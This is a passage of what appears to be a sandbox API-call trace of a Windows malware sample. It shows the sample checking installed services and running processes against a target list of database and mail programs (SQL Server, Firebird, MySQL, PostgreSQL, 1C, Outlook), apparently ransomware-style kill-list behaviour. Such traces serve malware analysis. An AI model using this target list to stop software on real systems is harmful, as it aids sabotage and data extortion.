(lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0232.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0232.997] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0232.997] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0232.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0232.997] lstrlenW (lpString="LanmanWorkstation") returned 17 [0232.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0232.997] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0232.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0232.997] lstrlenW (lpString="lmhosts") returned 7 [0232.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0232.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0232.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0232.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0232.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0232.998] lstrlenW (lpString="MMCSS") returned 5 [0232.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0232.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0232.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0232.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0232.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0232.998] lstrlenW (lpString="MpsSvc") returned 6 [0232.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0232.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0232.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0232.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0232.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0232.999] lstrlenW (lpString="NlaSvc") returned 6 [0232.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0232.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0232.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0232.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0232.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0232.999] lstrlenW (lpString="nsi") returned 3 [0232.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0232.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0232.999] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0232.999] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0232.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0232.999] lstrlenW (lpString="PcaSvc") returned 6 [0232.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0233.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0233.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0233.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0233.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0233.000] lstrlenW (lpString="PlugPlay") returned 8 [0233.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0233.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0233.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0233.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0233.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0233.000] lstrlenW (lpString="Power") returned 5 [0233.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0233.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0233.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0233.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0233.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0233.001] lstrlenW (lpString="ProfSvc") returned 7 [0233.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0233.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0233.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0233.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0233.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0233.001] lstrlenW (lpString="RpcEptMapper") returned 12 [0233.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0233.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0233.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0233.002] lstrlenW (lpString="RpcSs") returned 5 [0233.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0233.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0233.002] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0233.002] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0233.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0233.002] lstrlenW (lpString="SamSs") returned 5 [0233.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0233.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0233.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0233.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0233.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0233.003] lstrlenW (lpString="Schedule") returned 8 [0233.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0233.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0233.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0233.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0233.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0233.003] lstrlenW (lpString="SENS") returned 4 [0233.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0233.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0233.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0233.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0233.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0233.004] lstrlenW (lpString="ShellHWDetection") returned 16 [0233.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0233.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0233.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0233.004] lstrlenW (lpString="Spooler") returned 7 [0233.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0233.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0233.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0233.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0233.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0233.004] lstrlenW (lpString="SysMain") returned 7 [0233.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0233.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0233.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0233.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0233.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0233.005] lstrlenW (lpString="Themes") returned 6 [0233.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0233.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0233.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0233.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0233.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0233.005] lstrlenW (lpString="TrkWks") returned 6 [0233.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0233.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0233.005] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0233.005] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0233.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0233.006] lstrlenW (lpString="UxSms") returned 5 [0233.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0233.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0233.006] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0233.006] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0233.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0233.006] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0233.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0233.012] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.013] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.013] lstrlenW (lpString="System") returned 6 [0233.014] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0233.014] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0233.014] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.016] lstrlenW (lpString="smss.exe") returned 8 [0233.016] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0233.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0233.016] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0233.016] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0233.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0233.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0233.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0233.017] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.018] lstrlenW (lpString="csrss.exe") returned 9 [0233.018] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.018] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0233.019] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.019] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.020] lstrlenW (lpString="wininit.exe") returned 11 [0233.020] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0233.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0233.020] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0233.020] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0233.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0233.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0233.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0233.021] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.022] lstrlenW (lpString="csrss.exe") returned 9 [0233.023] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.023] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0233.023] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.023] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.024] lstrlenW (lpString="winlogon.exe") returned 12 [0233.024] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0233.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0233.024] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0233.024] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0233.025] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0233.025] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0233.025] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0233.025] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.026] lstrlenW (lpString="services.exe") returned 12 [0233.026] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0233.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0233.026] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.027] lstrlenW (lpString="lsass.exe") returned 9 [0233.027] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0233.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0233.027] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0233.028] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0233.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0233.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0233.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0233.149] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0233.153] lstrlenW (lpString="lsm.exe") returned 7 [0233.153] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0233.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0233.153] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0233.153] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0233.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0233.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0233.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0233.153] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.154] lstrlenW (lpString="svchost.exe") returned 11 [0233.154] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.155] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.156] lstrlenW (lpString="svchost.exe") returned 11 [0233.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.156] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.157] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.158] lstrlenW (lpString="svchost.exe") returned 11 [0233.158] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.158] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.159] lstrlenW (lpString="svchost.exe") returned 11 [0233.159] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.160] lstrlenW (lpString="svchost.exe") returned 11 [0233.160] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.161] lstrlenW (lpString="audiodg.exe") returned 11 [0233.161] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.162] lstrlenW (lpString="svchost.exe") returned 11 [0233.163] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.163] lstrlenW (lpString="explorer.exe") returned 12 [0233.164] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.165] lstrlenW (lpString="dwm.exe") returned 7 [0233.165] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.166] lstrlenW (lpString="svchost.exe") returned 11 [0233.166] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0233.167] lstrlenW (lpString="driver.exe") returned 10 [0233.167] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.168] lstrlenW (lpString="spoolsv.exe") returned 11 [0233.168] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0233.169] lstrlenW (lpString="taskhost.exe") returned 12 [0233.169] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.170] lstrlenW (lpString="svchost.exe") returned 11 [0233.170] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.171] lstrlenW (lpString="dllhost.exe") returned 11 [0233.172] Process32NextW (in: hSnapshot=0x3ac, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0233.172] lstrlenW (lpString="reader_sl.exe") returned 